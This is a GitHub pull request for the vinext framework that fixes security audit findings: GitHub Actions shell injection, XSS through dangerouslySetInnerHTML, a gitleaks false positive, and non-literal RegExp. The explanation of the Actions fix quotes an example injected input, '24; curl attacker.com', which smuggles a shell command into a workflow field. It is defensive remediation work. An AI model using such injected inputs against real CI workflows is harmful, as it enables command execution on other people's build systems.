Skip to content

fix: security audit findings from issue #741#757

Open
LukePercy wants to merge 1 commit intocloudflare:mainfrom
LukePercy:fix/security-audit-741
Open

fix: security audit findings from issue #741#757
LukePercy wants to merge 1 commit intocloudflare:mainfrom
LukePercy:fix/security-audit-741

Conversation

@LukePercy
Copy link
Copy Markdown

Closes #741

Addresses all findings from the static security scan. Each change is described below with the reasoning and any assumptions made.


🔴 Critical: gitleaks false positive in test file

File: tests/vite-hmr-websocket.test.ts:32

Change: Added // gitleaks:allow inline comment.

Reasoning: The value dGhlIHNhbXBsZSBub25jZQ== is the RFC 6455 example WebSocket handshake nonce ("the sample nonce"), hardcoded in the WebSocket spec itself. It is not a credential. The gitleaks:allow directive suppresses the scanner without altering test behavior.

Assumption: This is a well-known public value from the spec, not a real secret. No rotation needed.


🟠 High: GitHub Actions shell injection (4 locations)

Files: .github/workflows/publish.yml:47, .github/workflows/nextjs-tracker.yml:42,73,137

Change: Moved ${{ github.event.inputs.* }} context expressions out of run: shell scripts and into env: blocks, then referenced them as shell variables ($VAR).

Reasoning: GitHub Actions expressions interpolated directly into run: steps are evaluated before the shell sees the script, meaning a malicious input value (e.g. a crafted since_hours like 24; curl attacker.com) can inject arbitrary shell commands. Moving values into env: passes them as environment variables, which the shell treats as data — not code.

Assumption: All four inputs are workflow_dispatch inputs, so they require a GitHub account with write access to trigger. The risk is lower than for pull_request event data, but the fix is cheap and correct practice regardless. The inputs.bump value is also constrained to a choice type (patch/minor/major), so it had minimal practical exploitability, but the fix is still the right pattern.


🟠 High: innerHTML in script shim

File: packages/vinext/src/shims/script.tsx:159

Change: Added a security comment; no behavior change.

Reasoning: The el.innerHTML = dangerouslySetInnerHTML.__html path replicates the Next.js <Script> API exactly. The prop name dangerouslySetInnerHTML is React's own convention for signalling developer awareness of the XSS risk. This path is only reached when the developer explicitly passes that prop — it is never populated from user input by the framework. Changing the behavior would break compatibility with Next.js.

Assumption: User-supplied data never flows into dangerouslySetInnerHTML.__html on the <Script> component. This is the developer's responsibility, consistent with how React itself handles the same prop on all elements.


🟡 Medium: dangerouslySetInnerHTML in hackernews example

File: examples/hackernews/components/comment.jsx:29

Change: Wrapped the HN API text value in DOMPurify.sanitize() before passing to dangerouslySetInnerHTML. Added dompurify to package.json and to the workspace catalog.

Reasoning: The HN API returns comment text as HTML (links, italics, etc.). The original code rendered it raw. Although HN is generally trusted, rendering unsanitized third-party HTML is a stored XSS vector — a compromised or malicious HN post could inject scripts into pages served by this example. DOMPurify strips dangerous tags and attributes while preserving the safe formatting HTML the API returns.

Assumption: DOMPurify's default config (strip <script>, javascript: hrefs, event handlers, etc.) is appropriate here. The HN API only uses basic formatting tags so no content is lost in practice.


🟡 Medium: non-literal RegExp (6 locations)

Files: shims/head.ts, shims/image-config.ts, config/config-matchers.ts (×2), routing/file-matcher.ts (×2)

Change: Added a clarifying comment to escapeInlineContent in head.ts; no behavior changes elsewhere.

Reasoning: All six new RegExp(variable) usages were reviewed:

  • head.ts:276tag is always "script" or "style", guarded by RAW_CONTENT_TAGS.has(tag) at every call site.
  • image-config.ts:58 — builds a pattern from developer-supplied remotePatterns config, not request-time user input.
  • config-matchers.ts:341,974 — both are already guarded by safeRegExp(), which runs isSafeRegex() to reject ReDoS-vulnerable patterns before compiling.
  • file-matcher.ts:51,54 — built from pageExtensions config values, escaped with escapeRegex() before interpolation.

No user-controlled input reaches any of these paths at request time.


Deprecation cleanup (bonus, unrelated to security)

File: examples/hackernews/tsconfig.json

  • Removed baseUrl: "." — deprecated in TypeScript 6, will be removed in TS 7. All imports in this package use relative paths so baseUrl was doing nothing.
  • Added noEmit: true — prevents TypeScript from trying to write compiled output over the existing .js files in lib/, which caused a compiler error.
  • Added @cloudflare/workers-types to devDependencies — it was referenced in tsconfig.json types but missing from package.json, causing a type resolution error.

CI shell injection (high):
- publish.yml: use env var for inputs.bump in case statement
- nextjs-tracker.yml: use env vars for since_hours and dry_run inputs
- nextjs-tracker.yml: use env var in Skip step echo

Test file false positive (critical flag):
- tests/vite-hmr-websocket.test.ts: add gitleaks:allow for RFC 6455
  example WebSocket nonce (dGhlIHNhbXBsZSBub25jZQ==)

innerHTML / XSS (high):
- packages/vinext/src/shims/script.tsx: add security comment documenting
  that dangerouslySetInnerHTML is developer-supplied inline script only
- packages/vinext/src/shims/head.ts: document tag is bounded to
  RAW_CONTENT_TAGS (script/style), not user input

dangerouslySetInnerHTML in example (medium):
- examples/hackernews/components/comment.jsx: sanitize HN API HTML
  with DOMPurify before rendering
- examples/hackernews/package.json: add dompurify dependency
- pnpm-workspace.yaml: add dompurify and @types/dompurify to catalog

Non-literal RegExp (medium): documented as internal config values only,
no user input reaches any of the 6 flagged patterns. See safeRegExp()
in config-matchers.ts which already enforces ReDoS protection.

Deprecation cleanup:
- examples/hackernews/tsconfig.json: remove deprecated baseUrl option
  (moduleResolution: bundler handles resolution; all imports are relative)
- examples/hackernews/tsconfig.json: add noEmit: true to prevent TypeScript
  from attempting to write over existing .js files in lib/
- examples/hackernews/package.json: add missing @cloudflare/workers-types
  devDependency (was referenced in tsconfig types but not installed)
@pkg-pr-new
Copy link
Copy Markdown

pkg-pr-new bot commented Apr 2, 2026

Open in StackBlitz

npm i https://pkg.pr.new/vinext@757

commit: 91adcaf

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Security audit: CI shell injection, potential API key exposure, and XSS patterns

1 participant